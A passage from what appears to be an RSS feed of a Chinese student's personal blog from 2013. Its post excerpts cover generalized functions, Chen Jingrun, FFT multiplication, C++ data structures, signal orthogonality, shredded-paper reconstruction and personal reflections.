$$ \begin{equation} \delta(0)=\infty \end{equation} $$
而且
$$ \begin{equation} \int_{-\infty}^{\infty}\delta(x)dx=1 \end{equation} $$
当然了，它并不是我们所定义的传统函数概念的范畴。但是这个反常函数在讨论量子力学中的问题特别是连续谱问题的时候，十分的方便。
John von Neumann曾这样警告说，把理论建立在这样一个虚构的数学概念上是十分危险的。所以他摒弃了这套理论，而把量子力学阉割建立在他自己才建立不久的Helbert空间上无界自伴算子的谱理论上。
John von Neumann成功的实现了量子力学逻辑基础的严格化，但是他没有认识到Dirac这个十分有用的“虚构的数学概念”恰好是重要的而且完全可以建立在严格逻辑基础上的数学概念的一颗数学种子。
早在19世纪，英国工程师Heaviside在创建他的运算微积时就已经大胆地突破传统函数的概念，进行未经严格逻辑验证但却非常方便的数学运算。在研究偏微分方程的时候，人们突破传统的函数概念引进广义解的概念。有Leray关于Navier-Stokes方程组的湍流解，Bochner的弱解，Sovolev，Friedrichs和Krylov等人的广义导数的概念等等等等，这些史实严格地或不严格地突破传统的函数概念在20世纪上半夜已形成汹涌澎湃的浪潮。
可以毫不夸张的说，20世纪的大部分数学都是在物理学家们的“无理取闹”中经过数学家的总结诞生的。在二十世纪中叶的时候，Schwartz总结了前人突破传统函数概念的工作以他和Dieudonne刚刚合作完成的线性拓扑空间为工具建立起了广义函数的理论出色的完成了统一并提炼前人工作使命。</description></item><item><title>「中国要是有一千个陈景润就不得了了」</title><link>https://changkun.de/blog/posts/%E4%B8%AD%E5%9B%BD%E8%A6%81%E6%98%AF%E6%9C%89%E4%B8%80%E5%8D%83%E4%B8%AA%E9%99%88%E6%99%AF%E6%B6%A6%E5%B0%B1%E4%B8%8D%E5%BE%97%E4%BA%86%E4%BA%86/</link><pubDate>Tue, 29 Oct 2013 18:37:10 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%AD%E5%9B%BD%E8%A6%81%E6%98%AF%E6%9C%89%E4%B8%80%E5%8D%83%E4%B8%AA%E9%99%88%E6%99%AF%E6%B6%A6%E5%B0%B1%E4%B8%8D%E5%BE%97%E4%BA%86%E4%BA%86/</guid><description>星期一下午毛概课上播了一节课关于邓小平的视频，里面花了很长一段时间讲述陈景润收到邓小平的保护的事情，看得我心里很不是滋味。当时文化大革命，陈景润因为搞哥德巴赫猜想被诬蔑为资产阶级黑线人物，白专道路的典型。说是，陈景润整天研究西方人的东西，死人留下来的东西。说是，证明什么1+1,1+1有什么好证明的，1+1=2天经地义。后来陈景润为了不引起别人的注意，整天关门在那间曾为杂物间的小房间里搞研究，但是四人帮任然整得很厉害，文革之前，陈景润的1+2就已经被证好了（200多页），当时陈锦润为了简化证明步骤，迟迟没有发表，随后的文革时期，好不容易整理出来的手稿被一些傻逼给销毁了。虽然我不是一个经历过文革的人，但是当我读文献感受这段历史的时候真是觉得无比的恶心。外行人领导内行人，问题是，外行人对你做出的成果总是指指点点，否定你的成果，否定你的一切，最后又有谁能真正干事呢？一个比较典型的例子就是曾今和陈景润同时一个寝室的中科院研究员，由于文革的打压，一蹶不振，直到晚年才下乡归来，本来他和陈景润是同等水品，而这时陈景润已经家喻户晓，而他只是一个风烛残年的老人了。
这段历史虽然我只是曾在徐迟的《哥德巴赫猜想》中读过一遍，但是对我的感触还是很深的。这篇报告文学激励了一代中国人，所以我第一遍读这篇文章的时候就感受到了那股强烈的励志的信息。另一方面，隐约读文革时期的一些国内数学工作者写的书籍可以感受到一些文革迫害的蛛丝马迹。夏道行像是一个深受毒害的人，他在他的书中毫不隐晦的写到关于受到四人帮的迫害导致他那本《无穷维上的测度与积分》收到的一个台湾（又好像是香港，记不清了）教授的长达十几页的建议稿还没来得急阅读便被销毁了。 中国的社会现状如今又开始变得无比的浮躁不堪，今天上午在图书馆一直坐到中午一点多，一个人静下来读书确实是件难得的事情，可惜这样的时间是越来越少了。 邓小平说，中国要是有一千个陈景润就不得了了，我愿意做科研工作者的后勤人员。 其实不然，中国要是有一千个邓小平就不得了了，至少，中国不是现在这个样子。</description></item><item><title>数学建模协会入会笔试题</title><link>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E5%BB%BA%E6%A8%A1%E5%8D%8F%E4%BC%9A%E5%85%A5%E4%BC%9A%E7%AC%94%E8%AF%95%E9%A2%98/</link><pubDate>Thu, 24 Oct 2013 22:30:09 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%95%B0%E5%AD%A6%E5%BB%BA%E6%A8%A1%E5%8D%8F%E4%BC%9A%E5%85%A5%E4%BC%9A%E7%AC%94%E8%AF%95%E9%A2%98/</guid><description>这套题是我出的第n套数学考题（高中出过很多题不过都在草稿纸上躺在家里的柜子里）。
下载链接：http://pan.baidu.com/s/1wyNaK
这套题考察了答题人的各项数学修养，涵盖了诸多深刻的数学思想。因此无论是刚进入大学对数学还抱有一丝兴趣的同学，还是已经进入大学的同学想试试对数学各分支的理解，都可以用来试水。
本套试题随着本科数学的逐步深入，会对所有题目有逐步进而更深入的理解。
但试题几乎处处使用了高中及高中以下知识的数学语言描述，因此在读题方面不存在障碍。
本人水平有限，难免出错。
下面是全部题目：</description></item><item><title>曾勇老师语录</title><link>https://changkun.de/blog/posts/%E6%9B%BE%E5%8B%87%E8%80%81%E5%B8%88%E8%AF%AD%E5%BD%95/</link><pubDate>Mon, 07 Oct 2013 22:08:14 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%9B%BE%E5%8B%87%E8%80%81%E5%B8%88%E8%AF%AD%E5%BD%95/</guid><description>半个小时前本来说是准备睡觉了，后来搜欧拉语录的时候Google居然给链到曾勇老师了！！！ Google你为何这么屌！ Google居然搜到了曾勇老师经常说：欧拉有句名言， “当你遇到困惑，回到定义中来”。 不过搜了一段时间，真没搜到欧拉有说过这句。。
但是我一时兴起啊， 于是搜到了曾勇老师的语录！！！ 容易看出这是曾勇老师以前在电科时的学生搜集的语录！！！
现在有些话曾勇老师还是依然不离口啊！！
一直觉得曾勇老师超强（虽然每次都以我问的问题是理科数学而拒绝我。。（曾勇老师说他只会解答工科数学。。这能信啊?）），每次在他课上都能听到大大小小的数学思想！！这点超赞！！！！特别喜欢讲思想的老师~~
好啦我们进入正题……
1.我不喜欢用希望，我用的是保证&amp;hellip;（这个没听过…） 2.听完这次课，保证你们随心所欲的积分（大一高数课上记忆犹新=。=） 3.有的辅导书上开篇就写的“不管三七二十一”，这些专家是自封的专家，不能不管三七二十一哈&amp;hellip;（上个月才在概率课上听他说有木有啊=。=） 4.听不懂你下课来问，保证讲到你满意为止&amp;hellip;（这句真的超神啊！！！） 5.有的同学说，跟着曾老师没有学到技巧，今天我们就来两个，过过瘾&amp;hellip;（大一高数课上记忆犹新=。=） 6.不要问我为什么，我也不知道为什么，技巧嘛，就没有原因，没错就行&amp;hellip;（大一高数课上记忆犹新=。=） 7.如果你想看，我可以在上面表演得淋漓尽致&amp;hellip;（大一高数课上记忆犹新=。=） 8.人家最高得才考了138，你为什么要考140？（没听过…） 9.考试的时候，心情还是很重要的..（没听过…） 10.心态啊，很重要，不要老想着要考150&amp;hellip;（没听过…） 11.这是唯一一个我讲不大自然的题&amp;hellip;（大一高数课上记忆犹新=。=） 12.做题啊，姿态要高一点（大一高数课上记忆犹新=。=） 13.（剩最后一个题了，以为要放学了，结果&amp;hellip;）勇哥说：最后这个概率题，我们用8种解法&amp;hellip;（上个月才在概率课上听他说有木有啊=。=） 14.唉，实在没办法，选择题就蒙一个走人嘛&amp;hellip;（没听过…） 15.这是有史以来考得最狠的一个题，05年我在这里出答案的时候，居然在讲台上想了2分钟&amp;hellip;（没听过…但是这句话真的碉堡了啊有木有！！！） 16.要是有哪个题我想了2分钟，你们就不要做了，两个字：不考&amp;hellip;（没听过…但是这句话真的碉堡了啊有木有！！！） 17.（讲到模拟题4线代部分）有一年数学三的考试题就跟我出的这个模拟题几乎一样。当然，他改了一点点（下面笑翻了），为了突出他不是全部抄袭我的，他当然要改&amp;hellip;（上个月才在概率课上听他说有木有啊，虽然和这句话有出入，但是课上是说一道概率题=。=） 18.我出了200多个题才出现一个原题，没什么的哈，低调低调&amp;hellip;（没听过…） 19.有的同学就要问了，那今年有没有原题？没有的哈&amp;hellip;（没听过…） 20.有的同学给我发了这么一封邮件：曾老师，我为什么不能考清华？（没听过…） 21.有的同学给我说：前4套模拟题，我都坚持下来了，到了第5套，终于崩溃了&amp;hellip;（没听过…） 22.（一脸淫笑地）嘿嘿，做我的模拟题，那是很少有人不崩溃的哈&amp;hellip;（没听过…） 23.有同学问我：曾老师，你说我是不是不行了&amp;hellip;我说：其实，你还是行的！（下面早就笑翻球了&amp;hellip;）（没听过…） 24.级数这一章，是我唯一讲不大自然的一章&amp;hellip;（没听过…） 25.考清华，一定要慎重慎重再慎重哈&amp;hellip;（没听过…） 26.有的同学问我数学怎么学？天，你让我怎么回答？答案就是使劲学&amp;hellip;（大一高数课上记忆犹新=。=） 27.实在不行，你就一个萝卜一个坑，一个一个点嘛，离散的，总是点得完的。只要有这种精神，数学一定学的好（没听过…） 28.有的同学就是想突出他自己水平高。不要再自欺欺人了&amp;hellip;（没听过…） 29.现在排除了两个选项了，剩下两个选项，蒙嘛，概率都已经50％了，怕什么？（没听过…） 30.当初同学把这个解法一写，顿时我就无语了&amp;hellip;（没听过…） 31.（一脸猥琐地）这是高三的一个月考题&amp;hellip;（没听过…） 32.基础差？基础差的你还没见过&amp;hellip;（没听过…） 33.有同学问我secx*tanx怎么积分，问这个问题就过分了哈&amp;hellip;（没听过…） 34.不要问我这种题，两个字：不考&amp;hellip;（没听过…） 35.二项分布的期望？不知道？就&amp;quot;nP&amp;quot;嘛&amp;hellip;老师，n=3是不是主流哦？（没听过…） 36.做题做不动了怎么办？重新读题&amp;hellip;（没听过…） 37.矩阵倒向量，向量倒矩阵，倒来倒去就有名堂&amp;hellip;（没听过…） 38.我的题，真的是不偏不怪&amp;hellip;（没听过…） 39.你们要这么想：这一年，我做了这么多，再难的都做过，我他妈的怕谁？（没听过…） 40.做完15套，没崩溃估计也不远了，好事情，崩溃了就对了嘛&amp;hellip;（没听过…） 41.实在不行，我就给你一个个点。。。点。。。。。点。。。（没听过…）
42.不要想当然。如果真有这种定理，人家早写在书上了，轮不到你我（大一高数课上记忆犹新=。=） 43.函数复杂起来，可以复杂的超乎你的想象（大一高数课上记忆犹新=。=）
44.微积分，就是求求导，积积分嘛。（有一点出入…）
45.你先出牌你永远是输家。。。 （没听过…）</description></item><item><title>Fourier变换应用小记</title><link>https://changkun.de/blog/posts/fourier-transformation-notes/</link><pubDate>Mon, 07 Oct 2013 02:35:20 +0000</pubDate><guid>https://changkun.de/blog/posts/fourier-transformation-notes/</guid><description>大整数问题一直很头疼，采用乘法原理的结果复杂度为$O(n^{2})$，最近看傅里叶变换有尝试用傅里叶变换加以改进。
设
$$ a=(a_{N-1}a_{N-2}&amp;hellip;a_{1}a_{0}){10}=a{N-1}10^{N-1}+&amp;hellip;+a_{0}10^{0}] [b=(b_{N-1}b_{N-2}&amp;hellip;b_{1}b_{0}){10}=b{N-1}10^{N-1}+&amp;hellip;+b_{0}10^{0} $$
两个式子的乘积
$$ c = ab = c_{2N-2}10^{2N-2}+c_{2N-3}10^{2N-3}+&amp;hellip;+c_{1}10^{1}+c_{0}10^{0} $$
其中
$$ c_{k}=\sum_{i+j=k}a_{i}b_{j},(i=0,&amp;hellip;,N-1) $$
这种算法的时间复杂度为$O(n^{2})$。
逆天的是，${c_{k}}$居然逆天的等于${a_{k}}$和${b_{k}}$点的卷积。我们知道，卷积可以通过傅里叶变换的方式转化为普通乘法（函数卷积的傅里叶变换是函数傅里叶变换的乘积）。 于是，我们有： （1）求${a_{i}}$和${b_{j}}$的傅里叶变换（离散）${A_{i}}$和${B_{j}}$ （2）${A_{i}}$和${B_{j}}$逐项相乘得到${C_{k}}$ （3）对${C_{k}}$求傅里叶逆变换，得到${c_{k}}$ （4）进位，出结果
对复向量${x_{N-1},&amp;hellip;,x_{1},x_{0}}$，离散傅里叶变换为：
$$ X_{k}=\sum_{n=0}^{N-1}x_{n}e^{\frac{-2i\pi nk}{N}},(k=0,&amp;hellip;,N-1) $$
逆变换公式为：
$$ x_{k}=\frac{1}{N}\sum_{k=0}^{N-1}X_{k}e^{\frac{-2i\pi kn}{N}},(n=0,&amp;hellip;,N-1) $$
例： 三位数（$N=3$）$a=456,b=987$，求c=ab。 结果为：c=450072。共 6 位数字，$N$扩展到$2^3 = 8$。
$$ { a_7, a_6, a_5, a_4, a_3, a_2, a_1, a_0 } = { 0, 0, 0, 0, 0, 4, 5, 6 } $$
$$ { b_7, b_6, b_5, b_4, b_3, b_2, b_1, b_0 } = { 0, 0, 0, 0, 0, 9, 8, 7 } $$</description></item><item><title>模版链队实现</title><link>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E9%98%9F%E5%AE%9E%E7%8E%B0/</link><pubDate>Sat, 05 Oct 2013 19:35:34 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E9%98%9F%E5%AE%9E%E7%8E%B0/</guid><description>队列作为允许在前段删除和后端插入得线性表，和栈类似，是一种操作受限制得线性。进行插入操作的端称之为队尾，进行删除操作的端称之为队头。队列中没有元素时，称之为空队列。尽管操作受到限制，但是仍然具有使用价值，如可以利用队列结构编写消息队列处理消息，利用队列结构编写内存池时可以将可用内存区块加入一个队列中等待使用，等等。 这次实现的模版链队本质上仍是链表，这次的队列没有首节点，队列中全部元素均为队列中的成员。代码中注释了一个迭代器，是测试代码时候写的。 p.s.可以考虑重载[]来实现队列中的数据访问。。当然这是后话了。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 // // Queue.</description></item><item><title>模版链栈实现</title><link>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E6%A0%88%E5%AE%9E%E7%8E%B0/</link><pubDate>Fri, 04 Oct 2013 22:21:30 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%A8%A1%E7%89%88%E9%93%BE%E6%A0%88%E5%AE%9E%E7%8E%B0/</guid><description>栈只具备入栈和出栈的性质，实现起来较为简单，其本质还是链表，只不过限制了任意节点的访问权限，因此栈不具备迭代器的功能。代码中注释了一个迭代器，是测试代码时写的，迭代效果略有Bug，访问数据会多访问到一个，但不影响栈本身的功能，无视就好～ p.s. 可以考虑重载[]来实现栈中的数据访问。。当然这是后话了。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 // // Stack.</description></item><item><title>从圆锥体积谈起</title><link>https://changkun.de/blog/posts/%E4%BB%8E%E5%9C%86%E9%94%A5%E4%BD%93%E7%A7%AF%E8%B0%88%E8%B5%B7/</link><pubDate>Thu, 03 Oct 2013 02:27:50 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%BB%8E%E5%9C%86%E9%94%A5%E4%BD%93%E7%A7%AF%E8%B0%88%E8%B5%B7/</guid><description>本文希望通过下面这个简单易懂的例子来阐述数学家们为何要将流形理论定义的晦涩以及流形背后的深刻含义，文中一些关键性的概念附上了wikipedia链接，方便快速回忆起它们。
学过定积分的同志们都知道，定积分可以求旋转体的体积，比如圆锥。 学过多元积分的同志们也都知道，求圆锥体积的时候可以用截面圆面积沿圆锥高度变化函数的积分。 到底什么是体积，为什么这两种求法的结果总是相同的？这里博主就介绍一下一般形式对体积计算。
首先，我们需要理解流形的概念。流形是可以类比到$n$维欧式空间的拓扑结构，流形上的每一个点都可以映射到欧式空间中。 我们通常意义上的建立空间直角坐标系，就是将一个几何体一一映射（双射）到了一个三维的欧式空间。把问题转化到欧式空间中是因为欧式空间有很多优良的性质，具体就不阐述了，可以在这个链接中查到相关知识，如果觉得不过瘾可以切换到英文版查看更为详尽的描述。
早期数学家们关心将点集映射到欧式空间中表现出的各种性质，后来数学家们才注意到，研究他们之间的映射会从深层面来揭示这些优良性质产生的原因。
我们知道，直角坐标到柱坐标之间的转化有公式（本质是映射$\phi$）：
$$ \begin{equation} \rho = \sqrt{x^{2}+y^{2}} \end{equation} $$
$$ \begin{equation} \theta = \begin{cases} 0 &amp;amp; \mbox{if x = 0 and y = 0}\ \arcsin\left( \frac{y}{\rho} \right) &amp;amp; \mbox{if x &amp;gt; 0 or x = 0}\ -\arcsin\left( \frac{y}{\rho} \right) + \pi &amp;amp; \mbox{if x &amp;lt; 0} \end{cases} \end{equation} $$
$$ \begin{equation} h=z \end{equation} $$
这个映射在三维欧式空间中几乎处处无穷可微，它的逆映射$\phi ^{-1}$可以更加方便的计算各阶微分：
$$ \begin{equation} x = \rho \cos\theta,y = \rho \sin\theta,z = h \end{equation} $$</description></item><item><title>《乔布斯》观后感</title><link>https://changkun.de/blog/posts/jobs-movie-review/</link><pubDate>Wed, 02 Oct 2013 01:48:21 +0000</pubDate><guid>https://changkun.de/blog/posts/jobs-movie-review/</guid><description>美国立国至今二百余年，The chief business of america is business，商业繁荣至今，有种东西居功至伟，也就是所谓的“Entrepreneurship”。影片中的乔布斯偏激、疯狂、固执、冷静、不顾一切、毅然决然。他专注于自己的事业，对自己努力的一切有着近乎宗教式的狂热，他执着于冒险，疯狂开拓，无所畏惧。乔布斯如今已经成了一个象征，这个改变了世界的科技天才，和某种意义上的精神领袖，因为乔布斯设计理念的哲学和美学已经深深影响了一批人，这种影响小到审美品位大到创意理念和生活哲学，这种影响是深远的，也正是因为乔布斯，设计变得无比重要。
流传这样一种说法，上帝在人间投掷了三个苹果，第一个诱惑了夏娃，第二个砸醒了牛顿，而第三个则留给了乔布斯。只有乔布斯，才能在让苹果在97年时不足14美元的股票上涨到现在，成为一个奇迹，成就了历史上绝无仅有的拯救行动；让创新的灵感得以体现在产品上，在细节上偏执的追求；拥有过人的营销本领，只要他弄懂了一个东西，都能以最简单的方式介绍给普通人听；在追求梦想和事业的鼎盛中奔驰，他的奇迹是没有人可以复制的、没有人能超越的。
天时、地利、人和。乔布斯身处崛起的时代，加之乔布斯的创新天分是无人能及的，他大胆的设想、与众不同的管理，缔造了苹果神话。影片极力表现了一个偏执狂人造就企业神话，乔布斯违背了所有管理手册的教条，违反了身为一个管理者应该真诚、体贴、谦虚、放权、在乎员工的感觉和用户的需求。但是，乔布斯总能深刻的洞察人性，即便他无可理喻到在电梯内看员工不顺眼就将其开除。在回归苹果公司后更加展露，回归苹果后的乔布斯重整了董事会，重新将苹果走向巅峰。
乔布斯在斯坦福大学毕业典礼上这么说道：你的时间有限，所以不要为别人而活，不要被教条所限，不要活在别人的观念里，不要让别人的意见左右自己内心的声音。最重要的是，勇敢地去追随自己的心灵和直觉，只有自己的心灵和直觉才知道你自己的真实想法，其他一切都是次要。牛顿亦云：站在巨人的肩膀上。我们时常告诫自己应该怎么做或者不该怎么做，不要走别人的错路。这并不意味着我们每个人都必须成为一个个墨守成规，有原则的人。
最后，苹果的“Think Different”或许正描述了乔布斯的一身：
Here’s to the crazy ones. The misfits. The rebels. The troublemakers. The round pegs in the square holes. The ones who see things differently. They’re not fond of rules. And they have no respect for the status quo. You can quote them, disagree with them, glorify or vilify them. About the only thing you can’t do is ignore them.</description></item><item><title>反转单链表</title><link>https://changkun.de/blog/posts/%E5%8F%8D%E8%BD%AC%E5%8D%95%E9%93%BE%E8%A1%A8/</link><pubDate>Tue, 24 Sep 2013 00:49:12 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8F%8D%E8%BD%AC%E5%8D%95%E9%93%BE%E8%A1%A8/</guid><description>今天听说反转单链表，于是博主就自己想了想。
顾名思义，反转单链表，就是让一个单链表反向。 反转一个单链表，最容易想到的思路就是：
方法一 牺牲空间。 此方法没什么可说的，直接创建一个新的链表，倒序将上一个链表的各个节点拷贝到新链表中，并释放原链表。值得注意的是，如果直接拷贝各个节点，显然复杂度较高，因为拷贝最后一个节点时需要先指向最后一个节点，而指向最后一个节点是需要话时间的。因此可以先开辟一个lenth()长度的数组，将各节点先存入数组中，再使用反序索引来创建新的反转单链表。
接下来容易想到的方法则是使用三个节点指针来进行操作。
##方法二
先让两个节点指针p和q配合使两个节点的指向反向，同时用current记录剩下的链表。博主以前曾实现过一个模版链表，因此就在此基础上继续完善该链表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 template &amp;lt;class T&amp;gt; void Chain&amp;lt;T&amp;gt;::reversal() { ChainNode *p = head; ChainNode *q = head-&amp;gt;next; ChainNode *current; head-&amp;gt;next = NULL; while(q){ current = q-&amp;gt;next; // current用于纪录剩余的链表 q-&amp;gt;next = p; p = q; q = current; } head = p; // 记得修改head，否则按head输出仅输出了最后一个节点 } 继续思考，发现其实可以不用这么麻烦，如果从第2个节点开始，依次将节点插入到头节点之后，最后将第一个节点插到表尾。</description></item><item><title>通信信号与正交向量之间的关系</title><link>https://changkun.de/blog/posts/%E9%80%9A%E4%BF%A1%E4%BF%A1%E5%8F%B7%E4%B8%8E%E6%AD%A3%E4%BA%A4%E5%90%91%E9%87%8F%E4%B9%8B%E9%97%B4%E7%9A%84%E5%85%B3%E7%B3%BB/</link><pubDate>Mon, 23 Sep 2013 00:41:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E9%80%9A%E4%BF%A1%E4%BF%A1%E5%8F%B7%E4%B8%8E%E6%AD%A3%E4%BA%A4%E5%90%91%E9%87%8F%E4%B9%8B%E9%97%B4%E7%9A%84%E5%85%B3%E7%B3%BB/</guid><description>设
$$ P={ { x_{k} } = (&amp;hellip;,x_{-2},x_{-1},x_{0},x_{1},&amp;hellip;):x_{i}\in R} $$
表示双向无穷实数列集合，按分量自然的定义$P$中的向量加法与数乘，则$V$构成一个无穷维为实线性空间。在实际中我们一般称$P$为离散时间信号空间。 对于信号空间$P$的一个子空间（平方可和子空间）：
$$ \begin{equation} l_{2}=\left{ {x_{k}} \in P : \sum_{k=-\infty}^{+\infty}x_{k}^{2} &amp;lt; +\infty \right} \end{equation} $$
是一个无线维的内积空间，其中的内积是自然定义的，即：
$$ \begin{equation} \left( {x_{k}},{y_{k}} \right) = \sum_{k=-\infty}^{+\infty}x_{k}y_{k} \end{equation} $$
于是两个离散信号${x_{k}}$与${y_{k}}$正交$\Longleftrightarrow \sum_{k=-\infty}^{+\infty}x_{k}y_{k} = 0$
而在实际中，当所有用户共享整个频率信道，不同用户被分配至不同的时区，并且不同用户的通信信号在时域上没有任何重叠，即若以${x_{k}}$与${y_{k}}$分别表示两个不同用户的通信信号，则$x_{k}y_{k}=0,\forall k$（此时由向量${x_{k}}$与${y_{k}}$生成的子空间不但相交为0，而且还是正交的），因此${x_{k}}$与${y_{k}}$正交。这就是在通信信号中信号正交性起到的关键性作用。</description></item><item><title>谈人与事</title><link>https://changkun.de/blog/posts/%E8%B0%88%E4%BA%BA%E4%B8%8E%E4%BA%8B/</link><pubDate>Sat, 21 Sep 2013 20:03:49 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E4%BA%BA%E4%B8%8E%E4%BA%8B/</guid><description>这几天到了申请奖学金的日子，才逐步意识到一个人什么都不懂完全靠厚脸皮也可以混到不错的位置。当然这句话里面并没有暗含说我懂得如何如何多，这点不能误解。其实总结起来就是一句话，论人际交往的重要性。
拿我一个队友来说，确实是什么都不会的渣渣，完全靠厚着脸皮什么都不会，上个学期信誓旦旦说什么坚持到最后总会有回报，实际上这家伙仅仅只是为了学习而学习，脸皮厚到把书抄了一遍甚至完全不思考过也敢说“我特么学完了”，学完考完过后再也不会花一丝心思在知识的拓展和回顾上，第二个学期开学回来之后好像很有成就感的在朋友之间炫耀，你们还会C语言么，我完全记不得了，当然这么做不怪他，毕竟你转专业了，没必要再在你身上浪费时间。
可恨的是，我居然对特别傻逼的好像对他抱有一丝希望似的让他混到了我的数学建模队伍，在队里他没有发挥任何关键性的作用，白天午觉睡一个下午，晚上十二点以后必须睡觉，早上八点才起床。在机房做题的三天，我三天都没有回寝室。对我而言，他就是那种吃不了苦而且也不努力的队友，这种队友在队里面完全就是吃干饭混奖的，任何人都有功力心，只是程度不同罢了，你干了实事，和你共事的人绝对不会有半句怨言，必定会和你分享共同的荣耀。
我做自己的事，我写自己的字，简简单单的喜欢，不需要那么多的评论。这段文字结束后，这段话很快就会被人遗忘，世界还会是原来的模样，不爽的还会继续不爽，懂我的人，嘴角依旧那样上扬，只希望朋友们坚持信仰。 浸着汗水的作品，你们尽数拿去，虚荣到底有什么意义，苦短人生，还有太多正事要我去完成，保持沉默因为懒得同你们争论。谁说人不分三六九等，想要我反驳，请先掂量掂量掂量你自己的身份。作茧自缚，践踏自尊，我坐在观众席笑看，尔等的愚笨。</description></item><item><title>基于图像信号分析的碎纸片的拼接复原</title><link>https://changkun.de/blog/posts/%E5%9F%BA%E4%BA%8E%E5%9B%BE%E5%83%8F%E4%BF%A1%E5%8F%B7%E5%88%86%E6%9E%90%E7%9A%84%E7%A2%8E%E7%BA%B8%E7%89%87%E7%9A%84%E6%8B%BC%E6%8E%A5%E5%A4%8D%E5%8E%9F/</link><pubDate>Sat, 21 Sep 2013 14:10:08 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%9F%BA%E4%BA%8E%E5%9B%BE%E5%83%8F%E4%BF%A1%E5%8F%B7%E5%88%86%E6%9E%90%E7%9A%84%E7%A2%8E%E7%BA%B8%E7%89%87%E7%9A%84%E6%8B%BC%E6%8E%A5%E5%A4%8D%E5%8E%9F/</guid><description>Created by 欧 长坤 &amp;amp; 郭 瞾阳 &amp;amp; 黄 沐 on 13-9-16. Copyright (c) 2013年 欧 长坤 &amp;amp; 郭 瞾阳 &amp;amp; 黄 沐. All rights reserved.
摘 要 碎片化程度不同的碎纸片，其复原难度各有不同。好的复原筛选算法有效的帮助人们减少复原的时间，提高复原的效率。
针对三个问题中复原碎纸片的难度递进关系，本文同样建立了具备递进关系的三个数学模型，并给出其算法。分别为信号相似性算法、边界积分匹配算法和行距匹配算法。针对复原文件的特性，本文将碎片的复原过程分划为三个独立的代码模块，分别为整行筛选模块、整行拼接模块和各行拼接模块。每个模块适当组合使用三个算法，达到精准筛选与匹配。
在问题一中，由于附件1和附件2所提供的待复原图片数量较少，因此直接采用信号相似性分析，来拼接待复原的图片，拼接结果显示，拼接的匹配率达到100%，无需人工干预。 在问题二中，随着碎片数的增加，为了减小拼接问题的复杂度，先筛选出整行碎片，则将该问题转化为问题一进行研究。而整行筛选的方式，中文碎片和英文碎片的处理方式上有细微差异。对于中文碎片而言，采用了行距分析算法等，半自动化的完成了整块碎片文件的拼接，其间人工干预3次。对于英文碎片而言，实际拼接过程中直接使用信号相似性算法来筛选整行更为有效，匹配率为84.21%，完成整块209张图像碎片拼接只需人工干预33次。 对于更复杂的双面碎片问题三而言，综合运用了三个模块进行全面筛选匹配，将匹配率优化为63.31%，完成整个518张图像碎片的拼接复原需要人工干预95次。
关键词： 一维信号, 相似性分析, 边际积分, 行距提取, OpenCV
限于篇幅，下面谈谈摘要中提到的核心模块和核心算法。
一维信号相似分析模型 文[1]对于测量信号$x(t),y(t)$,使用了Hilbert空间上的内积理论获得了对两个信号的相似性判定的衡量方法。设$x=[\xi_{1},\xi_{2},&amp;hellip;]$和$x=[\eta_{1},\eta_{2},&amp;hellip;]$为两个离散信号，为使能量误差
$$ \begin{equation} Q=\Vert x-\lambda_{0}y\Vert ^{2}=\sum_{n}(\xi_{n}-\lambda_{0}\eta_{n})^{2} \end{equation} $$
只需要令$\frac{dQ}{d\lambda_{0}}=0$，得到
$$ \begin{equation} \lambda_{0}=\frac{\sum_{n}\xi_{n}\eta_{n}}{\sum_{n}\eta_{n}^{2}} \end{equation} $$
此时对应的最小能量误差为
$$ \begin{equation} Q_{min}=\sum_{n}(\xi_{n}-\lambda_{0}\eta_{n})^{2} = \sum_{n}\xi_{n}^{2} - \frac{\sum_{n}\xi_{n}\eta_{n}}{\sum_{n}\eta_{n}^{2}} \end{equation} $$
而最小相对能量误差为：</description></item><item><title>从 Windows 到 Macintosh</title><link>https://changkun.de/blog/posts/from-windows-to-macintosh/</link><pubDate>Thu, 19 Sep 2013 17:33:59 +0000</pubDate><guid>https://changkun.de/blog/posts/from-windows-to-macintosh/</guid><description>自从大一第一个学期末的时候买了iPhone 5，逐步对苹果这个公司有了不同的看法。之前对苹果整个公司的看法，都停留在最初级的道听途说。在为期几个月的iPhone使用中发现，苹果的产品确实做得好。因此第二个学期就开始筹划购买MacBook相关事宜了。
